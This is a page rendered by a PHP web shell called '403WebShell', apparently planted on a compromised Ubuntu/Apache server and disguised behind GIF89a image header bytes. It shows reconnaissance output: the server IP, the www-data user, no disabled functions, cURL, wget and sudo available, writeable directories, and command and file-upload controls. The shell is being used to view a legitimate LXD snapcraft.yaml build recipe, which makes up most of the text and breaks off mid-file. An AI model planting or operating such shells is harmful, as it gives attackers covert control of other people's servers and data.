GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 143.110.188.43  /  Your IP : 216.73.217.178
Web Server : Apache/2.4.57 (Ubuntu)
System : Linux Client-Droplet 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/lxd/41228/snap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/41228/snap/snapcraft.yaml
name: lxd
base: core26
assumes:
  - snapd2.75
version: 6.10.1-f5c750d
grade: stable
summary: LXD - container and VM manager
license: AGPL-3.0-only
title: LXD
description: |-
 LXD is a system container and virtual machine manager.

 It offers a simple CLI and REST API to manage local or remote instances,
 uses an image based workflow and support for a variety of advanced features.

 Images are available for all Ubuntu releases and architectures as well
 as for a wide number of other Linux distributions. Existing
 integrations with many deployment and operation tools, makes it work
 just like a public cloud, except everything is under your control.

 LXD containers are lightweight, secure by default and a great
 alternative to virtual machines when running Linux on Linux.

 LXD virtual machines are modern and secure, using UEFI and secure-boot
 by default and a great choice when a different kernel or operating
 system is needed.

 With clustering, up to 50 LXD servers can be easily joined and managed
 together with the same tools and APIs and without needing any external
 dependencies.


 Supported configuration options for the snap (snap set lxd [<key>=<value>...]):

   - apparmor.unprivileged-restrictions-disable: Whether to disable restrictions on unprivileged user namespaces [default=true]
   - ceph.builtin: Use snap-specific Ceph configuration [default=false]
   - ceph.external: Use the system's ceph tools (ignores ceph.builtin) [default=false]
   - daemon.debug: Increase logging to debug level [default=false]
   - daemon.group: Set group of users that have full control over LXD [default=lxd]
   - daemon.user.group: Set group of users that have restricted LXD access [default=lxd]
   - daemon.preseed: Pass a YAML configuration to `lxd init` on initial start
   - daemon.syslog: Send LXD log events to syslog [default=false]
   - daemon.verbose: Increase logging to verbose level [default=false]
   - db.trace: Enable dqlite trace logging (very verbose) [default=false]
   - features: Enable feature previews that are still work-in-progress. Never use in production [default=none]
   - lvm.external: Use the system's LVM tools [default=false]
   - lxcfs.loadavg: Start tracking per-container load average [default=false]
   - lxcfs.cfs: Consider CPU shares for CPU usage [default=false]
   - lxcfs.debug: Increase logging to debug level [default=false]
   - openvswitch.builtin: Run a snap-specific OVS daemon [default=false]
   - openvswitch.external: Use the system's OVS tools (ignores openvswitch.builtin) [default=false]
   - ovn.builtin: Use snap-specific OVN configuration [default=false]
   - zfs.external: Use the system's ZFS tools [default=false]

 For system-wide configuration of the CLI, place your configuration in
 /var/snap/lxd/common/global-conf/ (config.yml and servercerts)

contact: lxd@lists.canonical.com
issues: https://github.com/canonical/lxd/issues
source-code: https://github.com/canonical/lxd
website: https://ubuntu.com/lxd
confinement: strict

plugs:
 ceph-conf:
   interface: content
   target: "$SNAP_DATA/microceph"
 ovn-certificates:
   interface: content
   target: "$SNAP_DATA/microovn/certificates"
 ovn-chassis:
   interface: content
   target: "$SNAP_DATA/microovn/chassis"
 ovn-env:
   interface: content
   target: "$SNAP_DATA/microovn/ovn-env"
 gpu-2604:
   interface: content
   target: $SNAP/gpu-2604
   #default-provider: mesa-2604
 qemu-external:
   interface: content
   content: qemu-external-binaries
   target: $SNAP/external/qemu

layout:
  /usr/share/libdrm:
    bind: $SNAP/gpu-2604/mesa-2604/usr/share/libdrm
  /usr/share/drirc.d:
    symlink: $SNAP/gpu-2604/mesa-2604/usr/share/drirc.d
  # For PCI and USB ID files
  /usr/share/misc:
    bind: $SNAP/share/misc
  # With `core26` no longer shipping a Python interpreter, the LXD snap
  # needs to vendor its own Python runtime.
  /usr/bin/python3:
    # XXX: Apparmor follows symlinks so pointing to `$SNAP/bin/python3`
    # causes denials when the snap tries to execute Python scripts.
    # Instead, point directly to the actual interpreter.
    bind-file: $SNAP/bin/python3.14

apps:
  # Main commands
  activate:
    command: commands/daemon.activate
    daemon: oneshot
    plugs:
      - lxd-support
      - system-observe

  daemon:
    command-chain:
      - bin/gpu-2604-custom-wrapper
    command: commands/daemon.start
    reload-command: commands/daemon.reload
    stop-command: commands/daemon.stop
    stop-timeout: 600s
    restart-condition: on-failure
    daemon: simple
    slots:
      - lxd
    plugs:
      - lxd-support
      - network-bind
      - system-observe
    sockets:
      unix:
        listen-stream: $SNAP_COMMON/lxd/unix.socket
        socket-mode: 0660

  user-daemon:
    command: commands/lxd-user
    stop-timeout: 600s
    restart-condition: on-failure
    daemon: simple
    plugs:
      - lxd-support
      - network-bind
      - system-observe
    sockets:
      unix:
        listen-stream: $SNAP_COMMON/lxd-user/unix.socket
        socket-mode: 0660

  lxc:
    command: commands/lxc
    completer: lxc-completer.sh
    plugs:
      - lxd-support
      - system-observe

  lxd:
    command: commands/lxd
    plugs:
      - lxd-support
      - system-observe

  # Sub-commands
  buginfo:
    command: commands/buginfo
    plugs:
      - lxd-support
      - system-observe
  check-kernel:
    command: commands/lxd-check-kernel
    plugs:
      - lxd-support
      - system-observe

hooks:
  connect-plug-ceph-conf:
    plugs:
      - lxd-support
      - system-observe
  disconnect-plug-ceph-conf:
    plugs:
      - lxd-support
      - system-observe
  connect-plug-ovn-certificates:
    plugs:
      - lxd-support
      - system-observe
  disconnect-plug-ovn-certificates:
    plugs:
      - lxd-support
      - system-observe
  connect-plug-ovn-chassis:
    plugs:
      - lxd-support
      - system-observe
  disconnect-plug-ovn-chassis:
    plugs:
      - lxd-support
      - system-observe
  connect-plug-qemu-external:
    plugs:
      - lxd-support
      - system-observe
  disconnect-plug-qemu-external:
    plugs:
      - lxd-support
      - system-observe
  configure:
    plugs:
      - lxd-support
      - network
      - system-observe
  remove:
    plugs:
      - lxd-support
      - system-observe

parts:
  # Dependencies
  python-runtime:
    plugin: nil
    stage-packages:
      - python3.14-minimal
      - libpython3.14-stdlib
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
    prime:
      - bin/python3.14
      - lib/python3.14
      # Exclude unused bits
      - -lib/python3.14/lib-dynload/_remote_debugging.*.so
      - -lib/python3.14/lib-dynload/_test*.so
      - -lib/python3.14/test/
      - -lib/python3.14/unittest/

  amd-ctk:
    source: https://github.com/ROCm/container-toolkit
    source-commit: 59f21d9fdeb4a9373607b90352dbda272c721979 # v1.3.0
    source-depth: 1
    source-type: git
    plugin: go
    build-snaps:
      - go/1.27/stable
    build-environment:
      - GOTOOLCHAIN: "local"
      - GOFLAGS: "-trimpath"
    prime:
      - bin/amd-ctk

  btrfs:
    plugin: nil
    stage-packages:
      - btrfs-progs
    organize:
      usr/bin/: bin/
      usr/sbin/: bin/
    prime:
      - bin/btrfs
      - bin/btrfstune
      - bin/mkfs.btrfs

  ceph:
    after:
      - libatomic
      - python-runtime
    plugin: nil
    stage-packages:
      # XXX: explicitly depend on libsnappy1v5 due to https://bugs.launchpad.net/ubuntu/+source/ceph/+bug/2072656
      - to armhf: []
      - else:
        - ceph-common
        - libsnappy1v5
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
    override-stage: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-build: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    prime:
      - bin/ceph
      - bin/radosgw-admin
      - bin/rbd
      - lib/*/ceph
      - lib/python3

      # Unneeded Python modules:
      - -lib/python3/dist-packages/ceph/deployment
      - -lib/python3/dist-packages/ceph/rgw
      - -lib/python3/dist-packages/ceph/tests
      - -lib/python3/dist-packages/cephfs*
      # and often flagged as outdated by Trivy:
      - -lib/python3/dist-packages/certifi*
      - -lib/python3/dist-packages/chardet*
      - -lib/python3/dist-packages/idna*
      - -lib/python3/dist-packages/requests*
      - -lib/python3/dist-packages/urllib3*

      - lib/*/libboost_context.so*
      - lib/*/libboost_filesystem.so*
      - lib/*/libboost_iostreams.so*
      - lib/*/libboost_process.so*
      - lib/*/libboost_program_options.so*
      - lib/*/libboost_thread.so*
      - lib/*/libboost_url.so*
      - lib/*/libbrotlicommon.so*
      - lib/*/libbrotlidec.so*
      - lib/*/libcurl-gnutls.so*
      - lib/*/libdaxctl.so*
      - lib/*/libibverbs.so*
      - lib/*/libicudata.so*
      - lib/*/libicuuc.so*
      - lib/*/liblber-2.5.so*
      - lib/*/liblber.so*
      - lib/*/libldap-2.5.so*
      - lib/*/libldap.so*
      - lib/*/liblmdb.so*
      - lib/*/liblua5.4.so*
      - lib/*/libncurses.so*
      - lib/*/libndctl.so*
      - lib/*/libnghttp2.so*
      - lib/*/liboath.so*
      - lib/*/libpmemobj.so*
      - lib/*/libpmem.so*
      - lib/*/libpsl.so*
      - lib/*/librabbitmq.so*
      - lib/*/librados.so*
      - lib/*/librbd.so*
      - lib/*/librdmacm.so*
      - lib/*/librtmp.so*
      - lib/*/libsasl2.so*
      - lib/*/libsnappy.so*
      - lib/*/libssh2.so*
      - lib/*/libtcmalloc.so*
      - lib/*/libunwind.so*

  dqlite:
    source: https://github.com/canonical/dqlite
    source-commit: 91e3e2f90874e4ec3b45cde965f266342846531b # v1.18.7
    source-depth: 0
    source-type: git
    plugin: autotools
    autotools-configure-parameters:
      - --prefix=
      - --enable-build-raft
    stage-packages:
      - liblz4-1
      - libuv1t64
      - sqlite3
    build-packages:
      - liblz4-dev
      - libsqlite3-dev
      - libuv1-dev
      - xfslibs-dev
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
    override-build: |
      set -ex

      # Git cherry-picks
      cd ../src
      git config user.email "noreply@lists.canonical.com"
      git config user.name "LXD snap builder"

      set +ex
      craftctl default
      set -ex
    prime:
      - bin/sqlite3  # not used by LXD but small and useful for emergency situations
      - lib/libdqlite*so*
      - lib/*/libsqlite3*so*
      - lib/*/libuv*
      #- lib/*/liblz4.so*  # use liblz4.so from the base snap

  edk2:
    after:
      - qemu
    source: https://git.launchpad.net/ubuntu/+source/edk2
    source-depth: 1
    source-commit: ffe57b4d0e3cebed99e8b957ef28e23550b72c22 # import/2025.11-3ubuntu7.2
    source-type: git
    plugin: nil
    build-packages:
      - to amd64:
        - acpica-tools
        - bc
        - debhelper
        - dosfstools
        - g++
        - grub-efi-amd64-signed
        - jq
        - lsb-release
        - mtools
        - nasm
        - openssl
        - python3
        - python3-pexpect
        - python3-virt-firmware
        - quilt
        - rsync
        - sbsigntool
        - shim-signed
        - uuid-dev
        - xorriso
      - to arm64:
        - acpica-tools
        - bc
        - debhelper
        - dosfstools
        - g++
        - grub-efi-arm64-signed
        - jq
        - lsb-release
        - mtools
        - nasm
        - openssl
        - python3
        - python3-pexpect
        - python3-virt-firmware
        - quilt
        - rsync
        - sbsigntool
        - shim-signed
        - uuid-dev
        - xorriso
      - to riscv64:
        - acpica-tools
        - g++
        - lsb-release
        - nasm
        - quilt
        - rsync
        - uuid-dev
    override-stage: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64|riscv64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-prime: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64|riscv64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-pull: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64|riscv64) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-build: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          amd64|arm64|riscv64) ;;
          *) exit 0 ;;
      esac
      set -eux

      # Apply patches from Ubuntu sources.
      QUILT_PATCHES=debian/patches quilt push -a

      # Secboot firmware (SECURE_BOOT_ENABLE=TRUE) enforces strict W^X memory (NX protection)
      # protection via EFI_MEMORY_ATTRIBUTE_PROTOCOL (new in EDK2 2025.11+).
      # Older bootloaders might be unusable:
      # * https://bugs.launchpad.net/ubuntu/+source/edk2/+bug/2149400 (Synchronous Exception)
      # * https://github.com/canonical/lxd/issues/18187 (Exception Type - 0E(#PF - Page-Fault))
      # Workaround: add $(NO_STRICTNX_COMMON_FLAGS) (i.e. --pcd PcdUninstallMemAttrProtocol=TRUE)
      # to OVMF_4M_SECBOOT_FLAGS and AAVMF_SECBOOT_FLAGS so the protocol is
      # uninstalled before the bootloader runs.
      # Secure Boot signature verification (SECURE_BOOT_ENABLE=TRUE) remains active; only
      # the W^X enforcement is disabled as if
      # lxc config set <inst> raw.qemu="-fw_cfg name=opt/org.tianocore/UninstallMemAttrProtocol,string=y"
      # had been used.
      # The longer term plan is to stop disabling this protection and instead document that older guests
      # require `boot.mode=uefi-nosecureboot`.
      sed -i 's/^\(\(AAVMF\|OVMF_4M\)_SECBOOT_FLAGS = .*\)$/\1 $(NO_STRICTNX_COMMON_FLAGS)/' debian/rules

      # Apply patches
      patch -p1 < "${CRAFT_PROJECT_DIR}/patches/edk2-0001-force-DUID-LLT.patch"
      cp "${CRAFT_PROJECT_DIR}/patches/edk2-0002-logo.bmp" MdeModulePkg/Logo/Logo.bmp
      patch -p1 < "${CRAFT_PROJECT_DIR}/patches/edk2-0003-boot-delay.patch"

      # Install files destination
      mkdir -p "${CRAFT_PART_INSTALL}/share/qemu/"

      if [ "${CRAFT_ARCH_BUILD_FOR}" = "amd64" ]; then
          DSC="OvmfPkg/OvmfPkgX64.dsc"
          BUILD_TARGETS="install-ovmf-secboot install-ovmf-no-secboot"
          SRC_DIR="debian/tmp/usr/share/OVMF"
          SRC_CODE="OVMF_CODE_4M.ms.fd"
          SRC_CODE_NOSB="OVMF_CODE_4M.fd"
          SRC_VARS="OVMF_VARS_4M.fd"
          SRC_VARS_MS="OVMF_VARS_4M.ms.fd"
          DST_CODE="OVMF_CODE_4M.ms"
          DST_CODE_NOSB="OVMF_CODE_4M"
          DST_VARS="OVMF_VARS_4M"
          DST_VARS_MS="OVMF_VARS_4M.ms"
          # Add DEBUG_VERBOSE to print error level for DEBUG build
          # * 0x80000000 (DEBUG_ERROR)
          # * 0x00000040 (DEBUG_INFO)
          # * 0x0000000F (Bits 0-3: DEBUG_INIT, DEBUG_WARN, DEBUG_LOAD, DEBUG_FS)
          # = 0x8000004F
          # Adding 0x00400000 (DEBUG_VERBOSE) gives 0x8040004F
          SED_EXPR="s#PcdDebugPrintErrorLevel|0x8000004F#PcdDebugPrintErrorLevel|0x8040004F#g"
      elif [ "${CRAFT_ARCH_BUILD_FOR}" = "arm64" ]; then
          DSC="ArmVirtPkg/ArmVirt.dsc.inc"
          BUILD_TARGETS="install-qemu-efi-aarch64-secboot install-qemu-efi-aarch64-no-secboot"
          SRC_DIR="debian/tmp/usr/share/AAVMF"
          SRC_CODE="AAVMF_CODE.ms.fd"
          # XXX: The package doesn't create AAVMF_CODE.fd for this
          # non-secureboot variant, but we need a consistent name for the snap,
          # so we copy it from the .no-secboot.fd file.
          SRC_CODE_NOSB="AAVMF_CODE.no-secboot.fd"
          SRC_VARS="AAVMF_VARS.fd"
          SRC_VARS_MS="AAVMF_VARS.ms.fd"
          DST_CODE="AAVMF_CODE.ms"
          DST_CODE_NOSB="AAVMF_CODE"
          DST_VARS="AAVMF_VARS"
          DST_VARS_MS="AAVMF_VARS.ms"
          # See note in `x86_64` section for DEBUG_VERBOSE explanation
          SED_EXPR="s#DEBUG_PRINT_ERROR_LEVEL = 0x8000004F#DEBUG_PRINT_ERROR_LEVEL = 0x8040004F#g"
      elif [ "${CRAFT_ARCH_BUILD_FOR}" = "riscv64" ]; then
          DSC="OvmfPkg/RiscVVirt/RiscVVirtQemu.dsc"
          BUILD_TARGETS="install-qemu-efi-riscv64"
          SRC_DIR="debian/tmp/usr/share/qemu-efi-riscv64"
          SRC_CODE=""
          SRC_CODE_NOSB="RISCV_VIRT_CODE.fd"
          SRC_VARS="RISCV_VIRT_VARS.fd"
          SRC_VARS_MS=""
          DST_CODE=""
          DST_CODE_NOSB="RISCV_VIRT_CODE"
          DST_VARS="RISCV_VIRT_VARS"
          DST_VARS_MS=""
          # See note in `x86_64` section for DEBUG_VERBOSE explanation
          SED_EXPR="s#DEBUG_PRINT_ERROR_LEVEL = 0x8000004F#DEBUG_PRINT_ERROR_LEVEL = 0x8040004F#g"
      fi

      # Function to run build and install
      run_build() {
          local TYPE="${1}"
          local SUFFIX="${2}"

          # Clean up previous build stamps/artifacts to ensure clean rebuild with new TYPE
          rm -f debian/setup-build-stamp
          rm -rf debian/*-install debian/tmp
          rm -rf Build

          if [ "${TYPE}" = "DEBUG" ]; then
              # Add `DEBUG_VERBOSE` to print error level for DEBUG build
              sed --in-place=.bak "${SED_EXPR}" "${DSC}"
          fi

          # Enable parallel builds to avoid lengthy build times due to LTO. amd64 build on LP goes from ~1h45m -> ~60m
          # lto-wrapper: note: see the ‘-flto’ option documentation for more information
          # BUILD_TARGETS holds one or more space-separated make goals, so it must stay
          # unquoted here to be word-split into separate targets.
          # shellcheck disable=SC2086
          /usr/bin/make -j$(nproc) -f debian/rules ${BUILD_TARGETS} BUILD_TYPE="${TYPE}"

          if [ "${TYPE}" = "DEBUG" ] && [ -f "${DSC}.bak" ]; then
              mv "${DSC}.bak" "${DSC}"
          fi

          if [ -n "${SRC_CODE}" ] && [ -n "${DST_CODE}" ]; then
              cp "${SRC_DIR}/${SRC_CODE}" "${CRAFT_PART_INSTALL}/share/qemu/${DST_CODE}${SUFFIX}.fd"
          fi
          cp "${SRC_DIR}/${SRC_CODE_NOSB}" "${CRAFT_PART_INSTALL}/share/qemu/${DST_CODE_NOSB}${SUFFIX}.fd"
          cp "${SRC_DIR}/${SRC_VARS}" "${CRAFT_PART_INSTALL}/share/qemu/${DST_VARS}${SUFFIX}.fd"

          if [ "${TYPE}" = "RELEASE" ] && [ -n "${SRC_VARS_MS}" ] && [ -n "${DST_VARS_MS}" ]; then
               cp "${SRC_DIR}/${SRC_VARS_MS}" "${CRAFT_PART_INSTALL}/share/qemu/${DST_VARS_MS}.fd"
          fi
      }

      # Build Release
      run_build RELEASE ""

      # RISC-V build is already very slow and adding a DEBUG build makes it even slower, so skip it.
      if [ "${CRAFT_ARCH_BUILD_FOR}" != "riscv64" ]; then
        # Build Debug (silence the copious build output to avoid doubling it)
        run_build DEBUG ".debug" > /dev/null
      fi

      # Cleanup debug vars
      rm -f "${CRAFT_PART_INSTALL}/share/qemu/${DST_VARS}.debug.fd"
    prime:
      - share/qemu/*

  libatomic:
    plugin: nil
    override-stage: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          riscv64|s390x) ;;
          *) exit 0 ;;
      esac
      craftctl default
    override-prime: |-
      case "${CRAFT_ARCH_BUILD_FOR}" in
          riscv64|s390x) ;;
          *) exit 0 ;;
      esac
      craftctl default
    stage-packages:
      - to riscv64:
        - libatomic1
      - to s390x:
